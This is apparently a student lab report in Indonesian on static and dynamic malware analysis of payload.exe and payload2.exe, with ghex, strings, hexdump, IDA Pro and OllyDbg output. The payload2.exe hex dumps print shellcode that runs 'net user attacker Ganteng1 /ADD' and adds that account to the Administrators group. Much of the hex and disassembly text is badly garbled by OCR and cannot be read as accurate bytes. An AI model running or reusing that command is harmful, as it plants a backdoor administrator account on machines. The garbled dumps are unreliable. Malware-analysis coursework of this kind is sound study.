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Analisa mengenai Tindakan yang dilakukan kepada malware :
Metode yang digunakan yaitu :

Dynamic Analisys , Metode ini yang digunakan untuk melakukan Analisa terhadap malware
dengan melakukan ppengamatan kinerja sistem setelah melakukan pengoperasian sistem
tersebut. Metode dynamic analysis umumnya menggunakan software virtual seperti VirtualBox,
VMWare dan lain-lain , Hal ini bertujuan untuk melindungi sistem utama aoabila malware yang
digunakan dapat merusak sistem.

Static Analisys : Metode yang digunakan disini adalah dengan menggunakan Analisa secara
langsung pada kode sumber atau source code dari malware tersebut. Dalam pengamatan,terdapat
hal yang dapat dilakukan yaitu dalam mengamati kode sumber malware, terdapat teknik yang
umumnya digunakan, yaitu Reverse Engineering.

Sebagai pengujian mengenai metode diatas adalah dengan menggunakan file payload.exe dan
payload2.exe dengan menggunakan tools ghex, hexdump, strings, ollydbg, dan ida pro.Ghex
berguna untuk debugging masalah dengan kode, dan untuk memuat data dari file, melihat dan
mengedit hex dan ascii. Dan file diatas dapat dilihat pada Gambar.1 dibawah ini :
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Setelah kita miliki file seperti diatas, kita mulai menjalankannya dengn meggunaka ghex, yaitu
dengan cra klik kanan terlebih dahulu pada payload.exe lalu klik kanan dan open with ghex.

o[sD}5AT90) 60,93 00.00 0 04 00 00 60 FF FF 00 60 B8 00 00 00 00 60 00 00 40 00 00 00 60 00 0
0000001F00 6O 00 60 60 06 OO 0O 00 66 0O 00 0O 00 66 60 60 00 00 60 60 60 60 0O 0O 66 66 00 00 E8 06 |....

DOOOOO3EIPO 00 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 76 72 6F 67 72 61 6D 20 63 61 |.......... !..L.!This program ca
6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 26 44 4F 53 20 6D 6F 64 65 2E 6D 6D A 24 00 00 06 nnot be run in DOS mode....$..

000087Cj00 60 60 00 93 38 FO D6 D7 59 9E 85 D7 59 9E 85 D7 59 9E 85 AC 45 92 85 D3 59 9E 85 54 45 90 [.....8...Y...Y...Y...E...Y..TE.
5 DE 59 9E 85 B8 46 94 85 DC 59 9E 85 B8 46 9A 85 D4 59 9E 85 D7 59 9F 85 1E 59 9E 85 54 51f |..Y. o

3 85 DF 59 9E 85 83 7A AE 85 FF 59 9E 85 10 5F 98 85 D6 59 9E 85 52 69 63 68 D7 59 9E 85 06| |...

00 66 60 6O 0O 0O 60 60 60 66 60 0O 06 60 56 45 00 00 4C 61 64 00 47 71 D6 49 66 60 00 06| |.
00 00 60 EO 00 OF 01 0B 61 66 00 00 BO 60 66 00 AG 00 00 60 60 00 00 8D SA 66 60 00 10 06| |....
100000117/00 60 CO 60 00 00 0O 40 00 66 16 60 0O 00 10 66 60 04 00 00 06 60 00 00 00 64 60 60 0O 00 06| |....
00060136/00 00 00 660 ©1 00 0O 10 00 66 €0 00 00 00 62 60 0O 60 00 60 16 60 60 10 0O 60 60 66 10 00 06 |.
[00800155/16 00 66 66 66 66 0O 10 60 6O 60 60 00 06 60 66 60 00 60 6C C7 66 6O 78 00 0O 60 60 50 61 06 |....
00000174/C8 07 60 60 66 0O 0O 60 60 60 60 60 60 00 00 60 6O 6O 6O 060 66 60 60 00 00 00 00 60 EO C1 00 |....
100000193/00 1C 00 66 60 00 OO 00 60 60 00 00 00 00 60 00 0O 06O 0O 60 60 60 66 00 0O 60 00 60 60 00 06 |.
000001B2/00 00 00 60 00 06 GO 00 00 66 60 60 00 00 06 (e 60 00 EO 61 66 60 60 0O 60 6O 66 00 00 00 00 |....
1000001D1j00 6O 6O €0 60 6O PO 0O 00 66 6O 6O OO 00 68 2E 74 65 78 74 66 60 00 66 A9 60 66 60 10 00 0O |....
1000001FE00 BO 00 60 €0 10 0O 0O 00 66 60 60 0O 00 60 66 60 00 00 00 26 60 00 60 2E 72 64 61 74 61 00| |.
0000B20F|00 E6 OF 66 66 00 CO 00 00 66 10 00 00 00 CO 60 0O 00 60 0O 00 60 60 60 00 60 00 00 60 40 06|
000022E/00 40 2E 64 61 74 61 00 00 00 5C 70 00 00 00 DO 66 00 00 40 60 66 60 DO 00 00 66 66 00 00 00| {.@.

0006024D|00 00 00 60 60 60 6O 40 66 00 CO 2E 72 73 72 63 60 00 00 C8 07 60 60 00 50 61 60 66 16 00 06| |.
000O026C|00 10 01 66 60 60 0O 6O 60 66 60 60 0O 6O 60 60 40 0O 00 40 00 60 60 06O 60 60 66 60 6O 0O O
uuuuu 8Bj00 00 00 60 60 60 0O 60 6O 6O 0O 6O 0O 0O 66 66 6O 6O 6O 0O 6O 60 60 OO 06O 60 66 66 0O 00 06|

Signed 8 bit: 0 signed 32 bit: | 1024 Hexadecimal: |00
Unsigned 8 bit: 0 Unsigned 32 bit: | 1024 octal: 000
Signed 16 bit: | 1024 Float 32 bit: | 1,434930e-42 Binary: | 00000000
Unsigned 16 bit: | 1024 Float 64 bit: | 7,290232e-304 Stream Length: 8 -+

[ Show littie endian decoding Show unsigned and float as hexadecimal
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e Setelah ditampilkan pada tampilan ghex, terdapat rangkaian kode AD 5A Dst. Dan code
sebelahnya MZ dst. Kemudian yang Kita cari disini adalah file signature.

4D 56 32 43 Mvac

MLS Milestones v2.1a project management and scheduling software
(Also sec "MILES" and "MV214" signatures)

4D 5a Mz
COM, DLL, DRV, EXE, PIF, QTS, QTX, SYS Windows/DOS executable file
(Sec The EXE File Format page for the structurc of an EXE file,
with coverage of NE. TLINK, PE, sclf-extracting archives, and more.)
Note: MZ are the initals of Mark Zbikowski, designer of the DOS executable file format.
ACM MS audio compression manager driver
AX Library cache file
CPL Control pancl application
FON Font file
OCX ActiveX or OLE Custom Control
OLB OLE object library
SCR Screen saver
VBX VisualBASIC application
VXD, 386  Windows virtual device drivers

MZ......
APl Acrobat plug-in
AX DircctShow filter
FLT Audition graphic filter file (Adobe)

AT 03 00 00 M2
04 0 FF FF oo G
ZAP ZoneAlam data file
4D 69 63 72 6F 73 6F 66 Mic o
4 20 43 2F 43 2B 2B 20

PDB

e File MZ tersebut bermaksud adalah merupakan jenis dari file yang hanya tersedia untuk
windows dan berjenis Acrobat Plug-in Directshow Filter dan audition graphic filter file
dari vendor adobe .

Setelah berhasil menjalankan oercobaan diatas, kita mulai beralih kepada file payload2.exe yang
sebagai sample kedua .

File Edit View Windows Help

5C E8 82 00 00 60 60 89 E5 31 CO 64 8B 50 30 8B 52 OC 8B 52 14 8B 72 28 OF B7 4A 26 31 FF AC| [....... ..1.d.PO.R..R..r(..J&1..
00OEEOIFBC 61 7C 62 2C 20 C1 CF 6D €1 C7 E2 F2 52 57 8B 52 16 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B [<a|., ....... RW.R..J<.L.x.H..Q.
1000OEO3E[SS 26 61 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 38 E@ 75 F6 ©3 7D F8 3B |Y ...I..:I1.4...1.......8.u..}.;
10000005D{7D 24 75 E4 58 8B 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3 8B 04 8B 01 DO 89 44 24 24 5B 5B 61 [}su.X.Xs..f. . K.X......... Dss[[a
0000007C|59 5A 51 FF E@ 5F 5F 5A 8B 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 56 68 31 8B 6F 87 FF D5 BB FO [YZQ.. Z....]Jj....... Phl.o.....
10000OB9BIB5 A2 56 68 A6 95 BD 9D FF D5 3C 66 7C ©A 80 FB E@ 75 05 BB 47 13 72 6F 6A €0 53 FF D5 63 6Df |..Vh......<.|....u..G.roj.5..cm

I000OOBBAI64 2E 65 78 65 20 2F 63 20 6E 65 74 20 75 73 65 72 20 61 74 74 61 63 6B 65 72 20 47 61 6E 74f |d.exe /c net user attacker Gant
10600000965 6E 67 31 20 2F 41 44 44 20 26 26 20 6E 65 74 20 6C 6F 63 61 6C 67 72 6F 75 70 20 41 64 6D jengl /ADD && net localgroup Adm
I000OOOF8|69 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 44 44 00 inistrators attacker /ADD.

e Dengan menggunakan ghex pada payload2.exe, maka akan tampil gambar seperti diatas.

Kemudian menggunakan perintah pada terminal . ( strings payload.exe)
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e Kemudian setelah seperti perintah gambar diatas kita melanjutkan kepada file
payload2.exe

Dengan pertintah strings payload2.exe dan akan tampil hasil pada di bawah ini.

e Dengan tampilan seperti diatas , kita dapat melanjutkan dengan melakukan perintah
hexdump payload2.exe dan akan tampil hasil seperti dibawah ini.
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e Setelah ditampilan kemudian kita beralih ke file yang lainnya.
e Dengan perintah hexdump payload2.exe, dan hasilnya seperti dibawah ini.

e Setelah tampil seperti diatas, maka kita beralih ke tools virtual machine pada hal ini
vmware dengan menggunakan OS Windows xp sebagai sistem untuk menjalankan sistem
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dengan menggukanan tools ollydbg dan idapro dan dibawah ini kita tampilkan hasil dari
payload.exe

Function name
(7] sub_qn4310
[ 7] sub_an4404
| ] sub_anacea
|7 sub_qn4peF
|77 sub_4ndpeD
|£7] sub_404E30
|z start

| sub_q088c0
|.F] sub_anBcm
[F] sub_anasdn

| &
| w

A%, Graph averviaw O & x

(]

100.00% (=347 ,-138} {285 ,6) UNKNOWH FFFFFFFF: FFFFFPFF {3wmchronized with Hex Wiew-1)
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|51.26% (0,17} 2 rodes, 2 edge segments, 0 crossings

|

e Dan ditampilkan diatas adalah flowchart yang tersedia dari aplikasi idapro

Lext:epyalagn
Jtext :dLEd 006
Jrext : pouni oo
Jtext:dpLEd 086
LLext:epyaegn
Stext:dpLad 086
LLext:opya agn
Stext:@pLad 686
ety agn
Stext:@pLad oae
et oL pgn
Jtext:BOUBTIBBE ; ——— -

Ltext:ppumioan ; File Hame : C:vDocuments and SettingsyAdministrator\Desktop\TUGAS_kjk\TUGAS\payloadsipayloadsipayload .exe
Stext:aBLatoae Fornat : Portable executable for 88386 (PE)

Stext L agn Imagehase o hanang

Stext:aBLaloae Section 1. {virtwal address B8081808)

Ltext:opymoon ; Virtuval size ©oBeABAYGG (  B3D66.)

Ltext:@0481888 ; Section size in File : BOAOEGER ( WSE56.)

Stext oL aan Offset to raw data for section: QA 000

Stext:BBL4A1688 ; Flags GBOB0O028: Text Executable Readable

Ltext:ppumoan ; Alignment : default

text:B04B81888 ; PDE File Mame : C:\localBvasfyrelease\build-2.2.14\support\Release’ab.pdb

Stext : 0RL 1 A0

| This fFile has been generated by The Interactive Disassembler (1DA)
| Eupyright {c) 2815 Hex-Rays, <{support@hex-rays.con>

| License info: HB-B611-7234-BB

| Doskey Lee, lingsnFt Internet Security Software

LT

Input HD5  WIPFBORZCA4COITENSDOIFFFABATC2ZIE
Input CRC32 : 16CSEG8Q

Jtext:opueiaan include uni.imec ; see unicode subdir of ida for info on unicode
-text : DRLET AN

text:oBL4E1 080 GBGp

text : DRLE BO6 -mmx

text:oBL4BE1 088 -model fFlat

_text : 004G 000
-text:BOUBIBBE ; =======================sss=sssssssssssTEssssssssssssssss=ssssssssssssssssss

QOOOLOO0 00401000: _text:0040L000 [(Eynchronized with Hex Wiew=1)
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e dan ditampilkan pula hasil yang diconvert file tersebut dalam assembly

File Wiews ZIoom Move Help

G aau®+ o s |\

e

e Diatas adalah gambar graph alur pada payload.exe

[ mavews 3] 0 tecvew:s B | [FE stuctwes [ | Enums x]
BOLE1B21 4D B8 50 51 C7 G5 FO 17 41 80 A6 DZ 7B OO 88 28 M.PO!.=.R.9—{.0(
B0501651 E3 C8 &1 EF EB D6 4C OB @0 68 EQ SF 50 7E D7 DB peAnF+L..ha @ ++
BO4E1851 CB B0 OA 83 Ch B4 38 53 53 68 NC 40 &1 BF E® FC  -..5-.BSSHLEA+Fn
BOGE1A61 @9 20 00 BB 55 B3 F2 45 08 D3 85 4C &0 41 92 52 _- _YlU.=E.+3LEAER
ooue1o71 [EL 80 55 Fh 51 52 ES &% 4A DB 00 BF 55 DD 8D 45 P.U(ORFDJ..+U}.E
BE4E1081 FC 8D 4D FB 58 51 68 14 D2 50 08 52 E6 DE A9 00 n.HuPQh_-@.RF'-~.
BOuE1A91 @0 85 GO OF &F B2 CS 00 00 8B 35 68 C1 40 80 OF .h+.00+..YSh-@..
GOLE10A1 BE 8D 42 83 CO 63 83 FE 30 OF 87 66 O4 00 00 33 +.BA+ci®9.gF...3
BOLE1OE1 CA BA B8 BF 17 4O B0 A 24 8D 98 92 4O 00 8B S5 -pd..R@.0%.Jwm. YU
@ESE1ACT FC 52 21 15 6C C1 48 @0 83 Ch D5 26 C3 A3 10 D6 nRY.1-@.3-+&ed.+

BELEIO0Y 40 32 OF BS 20 O4% OO B0 68 FE D1 40 BB A2 AE D6 B2.0=...h"-B.0«.
AB4O10E1 ©0 BB E? CE 84 BB B8 C7 05 468 62 41 63 @1 60 88 .+T+...].h.Rc...
POLAIBF1 B8 ED 1F B4 00 00 B9 EF  BC DO 40 00 EY 14 By BB .T....Ene-@.T...
ee481181 20 8B 45 FC 5@ CF 15 4C C1 B? OB FA 18 DB 40 @0 -iEnP}.1-).-.-@.
POLA1111 E9 FD 2F B0 00 BB 40 FC 51 FF 45 6C C1 40 2F A3 T/, .iHnQ-.1-@/0
@ELA1121 6C B2 41 @8 E9 E? @83 @0 00 39 1D 53 82 41 80 7E 1.A.TT...0.S5.A.~
BE4E1131 8D 68 DB FD &D BB S50 14 1C B0 00 B3 G4 6F C7 1F  .he®@.P....5-0!.
@a4Ei141 6@ 86 41 41 FF FF FF FF E9 CE @3 @@ 80 8B 55 FC  “.Af----T+...YlUn
PELA1151  AS FF 15 B8 OC 40 00 A3 B8 FF 77 00 E9 SA 03 on  H-.8.@.0+-w.T2..

@4NE1161 88 40 1D 44 79 4@ B8 77 A9 8% 00 08 BB EQ E? S8 .M.DyE.w-...YaTP
BA4E171 FF 1% C9 C1 C& E2 A3 E@ 17 51 08 E9 92 83 a0 00 -, +--Gda.h.TE...
Go4E1181 57 1D FD 16 FS OO ED 84 03 88 00 39 1D &0 B2 W1 W.t.).TE...9.%.A
BR4EI191 B8 F& BD 5D BC DY B2 9% EH ED 24 39 DB B3 G4 FB ,t,]i-,ﬁFF$9_5-{
Go4E11A1 8B WD FC 51 EE B6 35 @2 OO 82 CA Oh 2B C3 75 OF YMnQFS5._.5-.;+u.
BRLGEI1B1 GV 9% 68 BL &1 BB 01 DB a8 G 2A IF kK AR Bg a9 :,‘.l’l ,,,,, wy_ .9
@aya11c1 10 28 E® FD 88 BF &4 A B3 00 80 58 FF 15 78 C1  .-a®..8d...F-.p-
ARLE110Y 4@ BB 39 10 &40 93 41 @8 74 00 68 AG BF 51 00 ER R.9.T3A.t.ha%Q.F
@a4811E1 6B B5 08 B0 83 C4 B4 BB 55 B2 52 ES 2F CC 0O &7 K...3-.YU.RF?!.Q
BRLE11F1 B3 Ch B4 3B C3 75 OF F9 93 60 A2 41 06 02 @8 FR 3-.:+u.-0 .A...°
@aya12e1 8@ EY 7D B3 09 0@ BD 1D 29 38 41 85 BS B4 83 03 T)...+.)BRLME..
ARLE1211 B0 BB S0 FF 15 78 C1 &0 80 C7 05 23 62 41 60 M ..P-.p-B.].%.0..

OO0OLOTL O040107): _text:0040L07L (Synchronized with IDA Wiew-A)

e Pada gambar diatas merupakan hasil hex pada aplikasi ida pro. Kemudian kita lakukan
pada file satunya payload2.exe
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seqBoa:a1ee ;

L L L ittt *
seqBda:a188 ; | This file has been generated by The Interactive Disassembler {IDAY) 1
seqd@d: o168 ; | Copyright (c) 2845 Hex-Rays, <support@hex-rays.comd |
seqgBda:piee ; | License info: 48-B611-7234-BB |
seqdfd:a18e ; | Doskey Lee, Kingsoft Internet Security Software |

seqipa:eian ;
seqd@a:e1es ;
seqobg:miag
seqd@a:e1es ;
seqobg:mian
seg@@@:e@e ;

seqBBR:einn ; File Hame : C:yDocuments and Settings‘\Administrator\Desktop\TUGAS_kjk\TUGAS\payloads\payloadsipayload? . exe
seqB@a:0160 ; Format = HS-DOS COM-File

seqibi:m1an ; Base Address: 1088h Range: 10700h-10212h Loaded length: 112h

seqB@a: o168

Input HDS T SINBDBISFROBBITHEF TYETOFFR1G7BER
Input CRC32 : 7899C563

seqidi:zo1an -GilGp
seqdd@: 180 - Pl
seqion:eiag Lmodel ting

seq0oe:e100

SEQOBB:EI00 ; =========sccccmsscccmcsmsssssssssssssssssssssssssssssssssssssssssssssss====
seq@a0: 0100

seqBdd: 0100 ; Segment type: Pure code

seqBB0:B100 seqoB@ seqment byte public "CODE' useid

seqidh: 188 assume cs:iseqABi

seqBB0: 0188 org 188h

seqifi:zm18e assume es:nothing, ss:nothing, ds:seg@®l, fs:nothing, gs:nothing
seq@ae:eian

seqifd:z 180 public start

Seqope:e1eg stark:

seqif: 100 cld

0000000 000L0L00: =eglll: scarc (Synchronised with Hex View=1])

e Pada gambar diatas merupakan hasil convert assembly pada file payload2.exe

[ mavews [ 0 Heovew: B [A stucwes [ | 5 Enums 0| &

1008: 0100 [J% EE 82 88 00 00 60 80 EG 21 CO 6h 88 GO 20 88 nF6... Bs1+aiPoY
1008z 4118 52 OC BE S2 1% BE 72 28 OF B7 4A 26 31 FF AC 3C R.TR.Ir(.+JB1 K¢
1080:9120 61 7C 82 2C 208 C1 CF @D O1 C7 E2 F2 52 57 8B 52 a|.,-—..!G=RUiR
1008:0130 16 8B 4A 3C 8B 4C 11 78 E3 48 @1 D1 51 8B 59 28 .TJCIL.xpH.-Q1V
1008: 0148 B1 D3 BB 49 18 E3 30 49 8B 34 BB 1 D6 31 FF AC  .+Y1.pzIiay.+1-%
1008: 4158 ©£1 CF G0 @1 C7 98 EB 75 F6 03 70 FR 9B 70 24 75 ——.. 'Baui.}®;38u
1008: 0168 E4 S8 BB S8 2% 81 D3 66 8B OC 4B 8B S8 1C 81 D3 SKYKS.+FU.MIN..+
1606:9170 BB B4 8B 61 DO 89 &4 24 24 SB SB 61 59 SA 51 FF i.i.-#D§$[[av2Q-
10008: 0188 EO SF SF SA 88 12 EB 8D 5D 6A @1 8D 85 B2 80 00 a_ 2i.d.]j..3!..
1008:0198 B0 S0 68 31 8B 6F 87 FF D5 BE F@ BS A2 56 68 A6 .Phiiog-++=!4Uh2
100A: 1A 9% BD 9D FF D% 3c B4 JC AR BB FB EB 7% A% BE &7 h"."(.l.l}“i“.'ﬂ
1808:01B@ 13 72 &F 6A B8 53 FF DS 63 6D 64 2E 65 78 65 20 .roj.S-+cmnd.exe
1@ CH 2F 63 20 &6E &% T4 20 7% 3 6% 72 20 61 74 T4 61 foe-net-user-atta
1808:0108 63 6B 65 72 28 47 61 6E 74 65 6E 67 31 28 2F 41 chker-Ganteng1-/A
TAAA:ER L4 Ny 20 26 26 20 &E 6% fa 20 6k 6F 63 61 6 67 DD-&&-net-localg
1080: 01F8 72 6F 75 78 28 41 64 6D 69 6E 69 73 74 72 61 7% roup-Administrat
TRAB:: 208 &F Ff2 73 20 61 74 Fi 61 3 6B 6% F2 20 2F 41 44 ors-attacker-JAD
1080:0218 44 B0 D.

e Pada gambar diatas merupakan hasil hex pada file payload2.exe
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S 9 MY+ OB N

sub 10186

e Pada gambar diatas merupakan hasil graph pada payload2.exe. kemudian kita gunakan
aplikasi ollydbg

[*) f
[Samess inesss

g

|

Pada gambar diatas merupakan hasil dari file payload.exe ~ Pada gambar diatas merupakan
hasil dari file payload2.exe



